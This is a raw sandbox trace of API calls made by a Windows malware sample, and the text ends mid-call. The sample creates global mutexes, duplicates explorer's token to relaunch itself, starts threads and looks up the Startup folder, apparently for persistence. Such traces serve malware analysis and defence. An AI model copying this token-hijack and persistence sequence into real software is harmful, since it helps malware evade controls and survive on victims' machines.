# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 30.09.2020 07:32:57.758 Process: id = "1" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x57a000" os_pid = "0xbb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb40 [0045.876] GetProcessHeap () returned 0x730000 [0045.876] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x30) returned 0x741888 [0045.876] GetProcessHeap () returned 0x730000 [0045.876] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x3400) returned 0x7462d0 [0045.880] GetProcessHeap () returned 0x730000 [0045.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x300) returned 0x7496d8 [0045.881] GetProcessHeap () returned 0x730000 [0045.881] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7416f8 [0045.881] GetTickCount () returned 0x11468b2 [0045.881] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x34fcf8, cchData=32 | out: lpLCData="\x03") returned 16 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x743b90 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x749a18 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x749c30 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x749e48 [0045.883] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x749e48, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749e48 | out: hHeap=0x730000) returned 1 [0045.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.883] GetProcessHeap () returned 0x730000 [0045.883] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a18 | out: hHeap=0x730000) returned 1 [0045.883] GetProcessHeap () returned 0x730000 [0045.883] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749c30 | out: hHeap=0x730000) returned 1 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743b90 | out: hHeap=0x730000) returned 1 [0045.884] GetVersion () returned 0x1db10106 [0045.884] GetCurrentProcess () returned 0xffffffff [0045.884] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34fc8c | out: TokenHandle=0x34fc8c*=0xa0) returned 1 [0045.884] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x34fc84, TokenInformationLength=0x4, ReturnLength=0x34fc88 | out: TokenInformation=0x34fc84, ReturnLength=0x34fc88) returned 1 [0045.884] CloseHandle (hObject=0xa0) returned 1 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x743b90 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x749a18 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x749c30 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a18 | out: hHeap=0x730000) returned 1 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749c30 | out: hHeap=0x730000) returned 1 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x743be0 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x743c08 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x743c30 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x749a18 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a18 | out: hHeap=0x730000) returned 1 [0045.884] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x743c08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743c30 | out: hHeap=0x730000) returned 1 [0045.884] GetProcessHeap () returned 0x730000 [0045.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743be0 | out: hHeap=0x730000) returned 1 [0045.884] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc44*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743c08 | out: hHeap=0x730000) returned 1 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x30) returned 0x749a18 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x749a50 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749a50, Size=0x52) returned 0x749a50 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a18 | out: hHeap=0x730000) returned 1 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a50 | out: hHeap=0x730000) returned 1 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1c) returned 0x743c08 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1c) returned 0x743c30 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749a30 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749a58 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749a80 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74a218 [0045.885] GetProcessHeap () returned 0x730000 [0045.885] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0045.886] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a80 | out: hHeap=0x730000) returned 1 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a30 | out: hHeap=0x730000) returned 1 [0045.886] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc2c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a58 | out: hHeap=0x730000) returned 1 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x743f68 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x743fb0 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x743fb0, Size=0x72) returned 0x73f9a0 [0045.886] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0045.886] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0045.886] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743f68 | out: hHeap=0x730000) returned 1 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749a30 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749a58 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749a80 [0045.886] GetProcessHeap () returned 0x730000 [0045.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74a218 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0045.887] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a80 | out: hHeap=0x730000) returned 1 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a30 | out: hHeap=0x730000) returned 1 [0045.887] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749a58 | out: hHeap=0x730000) returned 1 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x743f68 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x743fb0 [0045.887] GetProcessHeap () returned 0x730000 [0045.887] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x743fb0, Size=0x72) returned 0x73f9a0 [0045.887] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0045.887] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa4 [0045.888] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x0 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x743f68 | out: hHeap=0x730000) returned 1 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0045.888] ReleaseMutex (hMutex=0xa4) returned 1 [0045.888] CloseHandle (hObject=0xa4) returned 1 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x30) returned 0x74a218 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x74a250 [0045.888] GetVersion () returned 0x1db10106 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74a468 [0045.888] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0045.888] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0045.888] Wow64DisableWow64FsRedirection (in: OldValue=0x34fc68 | out: OldValue=0x34fc68*=0x0) returned 1 [0045.888] GetProcessHeap () returned 0x730000 [0045.888] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a468 | out: hHeap=0x730000) returned 1 [0045.888] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77710000 [0045.888] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0045.888] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x74a250, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0045.889] GetShellWindow () returned 0x100f2 [0045.889] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x34fc74 | out: lpdwProcessId=0x34fc74) returned 0x458 [0045.889] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xa4 [0045.889] OpenProcessToken (in: ProcessHandle=0xa4, DesiredAccess=0x2000000, TokenHandle=0x34fc84 | out: TokenHandle=0x34fc84*=0xa8) returned 1 [0045.889] DuplicateTokenEx (in: hExistingToken=0xa8, dwDesiredAccess=0x2000000, lpTokenAttributes=0x34fc4c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x34fc88 | out: phNewToken=0x34fc88*=0xac) returned 1 [0045.889] CreateProcessWithTokenW (in: hToken=0xac, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34fc00*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34fc58 | out: lpCommandLine=0x0, lpProcessInformation=0x34fc58*(hProcess=0xf8, hThread=0xfc, dwProcessId=0xa9c, dwThreadId=0xaa0)) returned 1 [0046.041] GetProcessHeap () returned 0x730000 [0046.041] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0046.041] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0046.041] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0046.041] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0046.041] GetProcessHeap () returned 0x730000 [0046.041] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0046.041] CloseHandle (hObject=0xa4) returned 1 [0046.041] CloseHandle (hObject=0xf8) returned 1 [0046.041] CloseHandle (hObject=0xfc) returned 1 [0046.041] CloseHandle (hObject=0xa8) returned 1 [0046.041] CloseHandle (hObject=0xac) returned 1 [0046.041] GetProcessHeap () returned 0x730000 [0046.041] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a250 | out: hHeap=0x730000) returned 1 [0046.041] GetProcessHeap () returned 0x730000 [0046.041] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0046.041] Sleep (dwMilliseconds=0x1388) [0051.831] GetProcessHeap () returned 0x730000 [0051.831] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xd0) returned 0x74e860 [0051.831] GetProcessHeap () returned 0x730000 [0051.831] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc3) returned 0x74b1e8 [0051.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e4b85, lpParameter=0x74b1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0051.833] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0051.833] CloseHandle (hObject=0xac) returned 1 [0051.833] GetProcessHeap () returned 0x730000 [0051.833] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e860 | out: hHeap=0x730000) returned 1 [0051.833] GetProcessHeap () returned 0x730000 [0051.833] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x60) returned 0x74e798 [0051.834] GetProcessHeap () returned 0x730000 [0051.834] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x5c) returned 0x74aff8 [0051.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e4b85, lpParameter=0x74aff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0051.834] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0051.834] CloseHandle (hObject=0xac) returned 1 [0051.834] GetProcessHeap () returned 0x730000 [0051.834] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e798 | out: hHeap=0x730000) returned 1 [0051.834] GetProcessHeap () returned 0x730000 [0051.834] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749d50 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749ee0 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749dc8 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.835] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.835] GetProcessHeap () returned 0x730000 [0051.835] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749d50 | out: hHeap=0x730000) returned 1 [0051.835] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc4c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc4c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.836] GetProcessHeap () returned 0x730000 [0051.836] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.836] GetProcessHeap () returned 0x730000 [0051.836] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x60) returned 0x74e798 [0051.836] GetProcessHeap () returned 0x730000 [0051.836] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749ee0 [0051.836] GetProcessHeap () returned 0x730000 [0051.836] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749d50 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749dc8 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.837] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x749d50, nSize=0xf | out: lpDst="") returned 0x2c [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749d50, Size=0x3a) returned 0x7440d0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x3a) returned 0x744118 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.837] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x7440d0, nSize=0x1d | out: lpDst="") returned 0x2c [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744118 | out: hHeap=0x730000) returned 1 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7440d0, Size=0x72) returned 0x73f9a0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x72) returned 0x73fa20 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.837] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x73f9a0, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3e) returned 0x744118 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x3e) returned 0x744160 [0051.837] GetProcessHeap () returned 0x730000 [0051.837] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.838] GetProcessHeap () returned 0x730000 [0051.838] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x10) returned 0x741830 [0051.838] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.839] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x744160, lpcbData=0x34fb68*=0x3e | out: lpType=0x34fb60*=0x2, lpData=0x744160*=0x5c, lpcbData=0x34fb68*=0x98) returned 0xea [0051.839] RegCloseKey (hKey=0xa8) returned 0x0 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744160 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x7a) returned 0x74dba0 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x7a) returned 0x74e860 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74b2b8 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x10) returned 0x741830 [0051.839] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.839] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x74e860, lpcbData=0x34fb68*=0x7a | out: lpType=0x34fb60*=0x2, 